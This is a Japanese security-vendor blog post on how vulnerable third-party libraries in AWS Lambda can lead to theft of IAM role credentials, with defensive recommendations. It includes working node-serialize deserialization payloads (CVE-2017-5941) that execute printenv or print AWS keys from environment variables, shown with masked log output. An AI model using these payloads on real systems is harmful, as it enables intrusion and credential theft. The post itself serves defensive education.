Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

Lambdaの落とし穴 - 脆弱なライブラリによる危険性とセキュリティ対策

f:id:flattsecurity:20220222223952p:plain

はじめに

こんにちは、株式会社Flatt Security セキュリティエンジニアの森岡(@scgajge12)です。

本稿では、AWS Lambda で使用するサードパーティーライブラリに脆弱性がある場合の危険性やそのセキュリティ対策について紹介します。

AWS Lambda について

AWS Lambda は、AWS が提供するイベント発生時にコード実行するコンピューティングリソースで、サーバーレスや FaaS (Function as a Service)とも呼ばれています。Lambda が利用される場面として、 API Gateway と連携し API として活用されるケースや S3 にオブジェクトがアップロードされた際のイベント処理をするケースなどがあります。

AWS Lambda Layers について

AWS Lambda Layers は、複数の Lambda 関数で利用されるライブラリなどの依存関係をパッケージ化し複数の Lambda 関数で利用できるようにしたもので、AWS re:Invent 2018 で発表された比較的新しい機能です。

Lambda Layers が実装される以前は、複数の Lambda 関数に同じモジュールを利用する場合、利用する全ての Lambda 関数にコードとして同じモジュールをアップロードしなければなりませんでした。そのため、利用しているモジュールに修正やアップデートが必要な場合、 Lambda 関数で利用している同じモジュールを同じように修正する必要があり、管理に労力を費やしていました。

そのような課題を解決するのが AWS Lambda Layers です。Lambda Layers を活用することで、複数の Lambda 関数で同じモジュールを使用する場合、Layer にモジュールをアップロードして Lambda 関数から呼び出すことで共有することができ、管理や修正の手間を省くことができます。

また Lambda Layers は、サードパーティーライブラリを含めたり、サードパーティーのサービスと連携したりできます。対応しているプログラミング言語は7種類(Java、Go、PowerShell、Node.js、C#、Python、Ruby)あり、多くの開発現場で Lambda が活用できることが想定できます。

f:id:flattsecurity:20220222172411j:plain

AWS Lambda でセキュリティ的に気にすべき点

先程も紹介したように Lambda には、サードパーティーライブラリをアップロードして組み込むことができます。開発を効率化するなどの目的で、ライブラリを導入することは多いと思われます。

しかし、導入したライブラリやそのライブラリが依存する他のライブラリに、セキュリティ的に問題がある脆弱性が含まれている可能性があります。もし導入しているライブラリに脆弱性がある場合、ライブラリを通して脆弱性攻撃が行われる可能性があります。

Web アプリケーションのセキュリティを研究する非営利の国際コミュニティ「OWASP (The Open Web Application Security Project)」の調査結果をまとめた、Webアプリケーションが含みうる重大なセキュリティリスクをランキング形式で示す「OWASP Top 10」というものがあります。

その最新版である2021年版 OWASP Top 10 の6位に「脆弱で古くなったコンポーネント」が含まれています。この調査結果から、脆弱なライブラリを導入している Web アプリケーションが世界的にも多いことがわかります。

また、Cloud Security Alliance (CSA) が公開している「サーバーレスアプリケーションのための最も重大な12のリスク(2019 年)」の6位に「セキュアではないサードパーティ依存」という記載もあります。

そのため、サーバーレスな Lambda でも同じように脆弱なライブラリを導入している可能性が高いと考えられます。

サードパーティーライブラリを通した脆弱性攻撃

Lambda に脆弱なサードパーティーライブラリが導入されている場合、ライブラリを通して脆弱性攻撃が行われる可能性があります。実際に Lambda で使われそうなライブラリの既知の脆弱性をいくつか紹介します。

Node.js

Node.js では、「node-serialize で任意コードの実行」があります(CVE-2017-5941)。node-serialize は、受け取ったオブジェクトを JavaScript の文字列にシリアライズ化するライブラリで、AWS 上で Web アプリケーションから受け取った文字列をシリアライズしてセッションに含ませるようなセッションを扱う実装をする際などで使われると思われます。

Python

Python では、「reportlab で任意コードの実行」があります(CVE-2019-17626)。reportlab は、受け取った文字列などを書き込んだりして PDF を生成するライブラリで、AWS 上で Lambda と API Gateway と S3 を使用して PDF ファイルを編集や生成、格納するような実装をする際などで使われると思われます。

Ruby

Ruby では、「Slanger で任意コードの実行」があります(CVE-2019-1010306)。Slanger は、オブジェクトの逆シリアライズ化を使用した WebSocket ライブラリで、AWS 上で Lambda と API Gateway と DynamoDB を使用してサーバーレスな WebSocket を実装する際などで使われると思われます。

以上のような脆弱なライブラリが Lambda に含まれている場合、サードパーティーライブラリを通して Lambda 上で、攻撃者が任意のプログラムコードを実行する脆弱性攻撃が可能です。

サードパーティーを経由して考えられる更なる脆弱性攻撃

もし Lambda のコードやモジュールに含まれるサードパーティーライブラリに、OS Command Injection (CWE-78)や Server Side Template Injection (CWE-1336)、Remote Code Execution (CWE-94)などの脆弱性がある場合、更なる脆弱性攻撃に繋がる可能性があります。それは「 Lambda に付与された IAM Role のクレデンシャルの奪取による攻撃」です。

IAM Role とは、AWS Identity and Access Management (IAM) の仕組みの一つで、AWS サービスやリソースに対して操作権限を付与するための仕組みです。Lambda 関数が他の AWS サービス(S3 や DynamoDB など)にアクセスして操作する場合、Lambda に必要な権限を IAM Role で付与します。

Lambda に付与される IAM Role のクレデンシャルは、EC2 と同様にクレデンシャルがその実行環境からアクセスできる箇所に格納されます。EC2 の場合は IMDS (Instance Metadata Service)にクレデンシャルが格納されますが、Lambda は環境変数に格納されます。そのため、任意コードの実行などの脆弱性攻撃が行える場合、環境変数にアクセスしクレデンシャルを窃取することが可能です。

では実際に Lambda 上で脆弱性の検証をして、クレデンシャルにアクセスできるか確認してみます。ここでは先程紹介した「node-serialize で任意コードの実行」の脆弱性を検証します。脆弱性の検証として次のようなコードを用意します。

var serialize = require("node-serialize");
var payload = "{\"rce\":\"_$$ND_FUNC$$_function (){require('child_process').exec('printenv', function(error, stdout, stderr) { console.log(stdout) });}()\"}";
serialize.unserialize(payload);

この脆弱性は、 unserialize 関数に悪意ある文字列を渡して関数を実行させることで任意のプログラムコードを実行させることができます。今回の任意のプログラムコードは、Lambda 上で printenv コマンドを実行させてその結果を console.log で出力させる文字列を、変数 payload に入れて unserialize 関数を実行しています。

実際に実行すると Lambda 上で printenv コマンドが実行され、 環境変数の一覧に含まれる IAM Role の AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN が Function Logs に出力されることが確認できます。

AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=IQoJ..........xqE=
 ...
AWS_SECRET_ACCESS_KEY=XDol********************************K2hq
 ...
AWS_ACCESS_KEY_ID=ASIA************5LGP
 …

これらの結果より、node-serialize の脆弱性である「任意コードの実行」が成功していることが確認できます。

また、今回のようにライブラリが Node.js の場合は、次のコードのように process.env からクレデンシャルを出力させることも可能です。

var serialize = require("node-serialize");

var payload1 = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'AWS_ACCESS_KEY_ID: \' + process.env.AWS_ACCESS_KEY_ID);}()"}';
serialize.unserialize(payload1);

var payload2 = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'AWS_SECRET_ACCESS_KEY: \' + process.env.AWS_SECRET_ACCESS_KEY);}()"}';
serialize.unserialize(payload2);

var payload3 = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'AWS_SESSION_TOKEN: \' + process.env.AWS_SESSION_TOKEN);}()"}';
serialize.unserialize(payload3);

Lambda 上で実行した時の Function Logs が以下になります。

INFO        AWS_ACCESS_KEY_ID: ASIA************5LGP
INFO        AWS_SECRET_ACCESS_KEY: XDol********************************K2hq
INFO        AWS_SESSION_TOKEN: IQoJ..........xqE=

実際の脆弱性攻撃では、変数 payload の内容に攻撃者が何らかの形で任意の文字列を入れて、クレデンシャルを攻撃者の保持するサーバーに送ります。もしくは、脆弱性の実行結果がそのまま API などのレスポンスに含まれて出力される実装の場合、そのレスポンスからクレデンシャルを得られる可能性もあります。

もし攻撃者が Lambda のコードやモジュールに潜む脆弱性を通して付与されている IAM Role のクレデンシャルを入手できた場合、以下のような悪用方法が考えられます。

  • 入手した IAM Role が持つアクセス権限を使用して、他の AWS サービスやリソースを不正操作
    • 例) 機密性の高いデータベースやストレージへの読み取りや書き込みなど
  • IAM Role の特権昇格
  • Lambda 上で仮想通貨マイニング

このように Lambda に含むサードパーティーライブラリの脆弱性を経由して IAM Role のクレデンシャルが攻撃者に入手された場合、脆弱性攻撃から更なる攻撃に繋がる可能性があります。またライブラリではなく、開発者が書いたコード自体に脆弱性がある場合も、同様に直接的な脆弱性攻撃が行われる可能性があります。

セキュリティ対策とセキュリティ管理

それでは Lambda に含まれるサードパーティーライブラリの脆弱性に対するリスクは、どのように対策すべきでしょうか。最小限にセキュリティリスクを抑えて対策する方法は、以下のようなことが考えられます。

セキュリティ対策

  • Lambda のコードやモジュールに脆弱性が含まれないようにする
    • ライブラリは最新のバージョンを使用する
  • Lambda に付与する IAM Role は最小限の権限にする

セキュリティ管理

  • Lambda で使用しているサードパーティーライブラリのバージョンを管理し、セキュリティパッチが出た場合は、即座に対応できるようにする
  • Lambda Layers を活用して、同一のモジュールに含まれるサードパーティーライブラリを一括して修正できるようする
  • AWS のサービスである CloudWatch や CloudTrail 、WAF や GuardDuty などを有効にして活用する

ちなみに Lambda は、AWS が提示している「共有責任モデル」に従っており、コードの脆弱性はユーザー(開発者)の責任となっています。そのため開発者は、Lambda 全体を通してセキュリティ対策をする必要があります。

また、IPA (情報処理推進機構)が公開している資料「安全なウェブサイトの作り方 (改訂第7版)」の 2.ウェブサイトの安全性向上のための取り組み の一つに「OS やソフトウェアの脆弱性情報を継続的に入手し、脆弱性への対処を行う」 があります。これはサードパーティーライブラリでも同じで、脆弱性は日々発見されてアップデートされています。

そのため Lambda に導入するサードパーティーライブラリも同様に対応する必要があると言えます。

終わりに

本稿では、AWS Lambda で使用するサードパーティーライブラリに脆弱性がある場合の危険性やそのセキュリティ対策について紹介しました。

この記事を通して、一般的な Web アプリケーションのセキュリティ対策やクラウドの設定不備の対策だけでなく、AWS Lambda のようなクラウドサービスに含めるコードやサードパーティーライブラリもセキュリティ対策をする必要があることを認識して頂ければ幸いです。

特に Lambda は、付与されている IAM Role のクレデンシャルを環境変数に格納されるため、Lambda のコードやモジュールに脆弱性が含まれていると第三者にクレデンシャルを奪われる可能性があります。そのため、Lambda もセキュリティ対策・管理に取り組むことを推奨します。

Flatt Security の AWS・GCP・Azure診断 では、クラウドサービスの設定不備を確認する一般的なクラウドセキュリティ診断だけでなく、アプリケーションの仕様を踏まえ、クラウドとアプリケーションを総合的に診断するメニューも提供しています。

興味のある方は、是非弊社公式ページや SmartHR 様の診断事例インタビューをご覧ください。

flatt.tech

お問い合わせは下記リンクよりどうぞ。

https://flatt.tech/assessment/contact

Flatt Security はセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式 Twitter のフォローをぜひお願いします!

twitter.com

ここまでお読みいただきありがとうございました!